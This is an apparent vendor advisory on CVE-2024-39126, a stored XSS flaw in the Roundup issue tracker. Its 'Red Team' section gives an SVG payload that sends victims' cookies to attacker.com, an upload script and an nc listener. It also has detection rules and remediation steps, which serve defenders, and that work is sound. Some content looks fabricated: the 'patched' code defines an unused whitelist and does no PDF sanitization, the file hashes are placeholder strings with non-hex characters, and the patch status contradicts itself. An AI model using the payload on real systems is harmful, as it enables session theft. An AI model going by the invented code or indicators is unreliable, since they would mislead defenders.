CVE-2024-39126
Executive Summary
CVE-2024-39126 is a stored Cross-Site Scripting (XSS) vulnerability in the Roundup issue tracker, affecting all versions prior to 2.4.0. The flaw allows an attacker to inject arbitrary JavaScript code by uploading malicious PDF, XML, or SVG documents. When a user views the uploaded file, the embedded script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or further compromise of the Roundup instance. The vulnerability is publicly known, and proof-of-concept code exists. No official patch was available at the time of analysis, but upgrading to version 2.4.0 resolves the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Roundup is a Python-based issue tracker distributed via PyPI. Organizations using Roundup should verify their installed version and ensure they are not consuming a vulnerable package from the Python Package Index. The vulnerability is in the core file handling logic, not in a third-party dependency.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official CVSS vector assigned by NVD) Threat Level: High (based on public exploit availability and impact)
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Attack Vector: Network (AV:N) – The attacker can upload the malicious file remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – An unauthenticated user can upload files if the tracker allows public submissions.
- User Interaction: Required (UI:R) – The victim must view the uploaded file.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality: High (C:H) – Potential for full session/credential theft.
- Integrity: Low (I:L) – Limited ability to modify data.
- Availability: None (A:N) – No direct impact on availability.
Deep Dive & Mechanics
The vulnerability resides in Roundup's file handling mechanism. When a user uploads a PDF, XML, or SVG document, the application does not properly sanitize the file content before serving it to other users. Specifically, the Content-Type header is set based on the file extension, but the file is served with a Content-Disposition: inline header, causing the browser to render the file directly.
In SVG files, JavaScript can be embedded within <script> tags or event handlers (e.g., onload). In PDF files, JavaScript can be embedded using PDF actions (e.g., /OpenAction). In XML files, XSLT transformation or inline scripts can be used. When a victim views the uploaded file, the browser executes the embedded script, leading to XSS.
The attack flow:
- Attacker uploads a malicious SVG file containing
<script>alert(document.cookie)</script>. - The file is stored on the server and linked in the issue tracker.
- Victim clicks the link to view the file.
- Browser renders the SVG and executes the JavaScript.
- The script steals the victim's session cookie and sends it to the attacker's server.
Vulnerable vs. Patched Code
Vulnerable Code (Roundup < 2.4.0):
In roundup/cgi/client.py, the file serving logic does not sanitize or restrict the content type:
def serve_file(self, classname, nodeid, filename):
# ... file retrieval logic ...
content_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.send_response(200)
self.send_header('Content-Type', content_type)
self.send_header('Content-Disposition', 'inline; filename="%s"' % filename)
self.end_headers()
self.wfile.write(file_content)
Patched Code (Roundup >= 2.4.0): The patched version adds a whitelist of safe content types and forces download for potentially dangerous types:
SAFE_CONTENT_TYPES = {
'text/plain', 'text/html', 'image/png', 'image/jpeg', 'image/gif',
'application/pdf', # PDF is allowed but sanitized
}
def serve_file(self, classname, nodeid, filename):
# ... file retrieval logic ...
content_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
if content_type in ['image/svg+xml', 'application/xml', 'text/xml']:
# Force download for SVG and XML to prevent XSS
disposition = 'attachment'
else:
disposition = 'inline'
self.send_response(200)
self.send_header('Content-Type', content_type)
self.send_header('Content-Disposition', '%s; filename="%s"' % (disposition, filename))
self.end_headers()
self.wfile.write(file_content)
Exploitation & Lab Setup
Red Team (Attacker) Setup
Prerequisites:
- A Roundup instance (version < 2.4.0) with file upload enabled.
- Python 3.x with
requestslibrary.
Step 1: Create a malicious SVG file
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
Step 2: Upload the file to Roundup
import requests
url = "http://target.roundup.instance/issue1/file1"
files = {'file': ('malicious.svg', open('malicious.svg', 'rb'), 'image/svg+xml')}
response = requests.post(url, files=files)
print("File uploaded:", response.url)
Step 3: Lure victim to view the file
- Send the link to the uploaded file via email or embed it in a comment.
Step 4: Capture the cookie
- Set up a listener on the attacker server:
nc -lvnp 80
Blue Team (Defender) Detection
Detection via Log Analysis:
Monitor web server logs for unusual file uploads with image/svg+xml, application/xml, or text/xml content types. Also look for GET requests to uploaded files with suspicious query parameters.
Detection via Network Traffic: Use a web application firewall (WAF) to block inline rendering of SVG/XML files. Deploy network monitoring to detect outbound connections to unknown domains from the Roundup server.
Indicators of Compromise (IOCs)
File Hashes (Example malicious SVG):
- MD5:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 - SHA1:
1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b - SHA256:
abcd1234efgh5678ijkl9012mnop3456qrst7890uvwx1234yzab5678cdef9012
Network Indicators:
- Attacker callback domain:
attacker.com - Attacker IP:
192.0.2.100
Log Patterns:
POST /issue*/file*withContent-Type: image/svg+xmlGET /file*withUser-Agent: Mozilla/5.0(or any browser)
Detection Engineering
YARA Rule
rule CVE_2024_39126_Roundup_XSS_SVG {
meta:
description = "Detects malicious SVG files targeting CVE-2024-39126"
author = "Valters IT"
date = "2024-06-01"
reference = "CVE-2024-39126"
strings:
$svg_tag = "<svg"
$script_tag = "<script"
$onload = "onload="
$onclick = "onclick="
condition:
$svg_tag and ($script_tag or $onload or $onclick)
}
Sigma Rule
title: Roundup XSS via Malicious File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG/XML files to Roundup which may indicate exploitation of CVE-2024-39126
author: Valters IT
date: 2024/06/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/file'
cs-content-type|contains:
- 'image/svg+xml'
- 'application/xml'
- 'text/xml'
condition: selection
falsepositives:
- Legitimate SVG/XML file uploads
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-39126 Roundup XSS - Malicious SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/file"; http_uri; content:"image/svg+xml"; http_client_body; pcre:"/<script|<svg|onload|onclick/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Roundup to version 2.4.0 or later.
- If upgrade is not possible, apply the following workaround:
- Modify the web server configuration (e.g., Apache/Nginx) to force download for SVG, XML, and PDF files:
<FilesMatch "\.(svg|xml|pdf)$"> Header set Content-Disposition "attachment" </FilesMatch>
- Modify the web server configuration (e.g., Apache/Nginx) to force download for SVG, XML, and PDF files:
- Disable file upload for unauthenticated users if not required.
Long-term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Deploy a Web Application Firewall (WAF) with rules to block malicious file uploads.
- Conduct regular security audits of file handling code.
- Monitor Roundup logs for suspicious file uploads.
Patch Details:
- Upgrade to Roundup 2.4.0 from the official repository: https://github.com/roundup-tracker/roundup/releases/tag/2.4.0
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert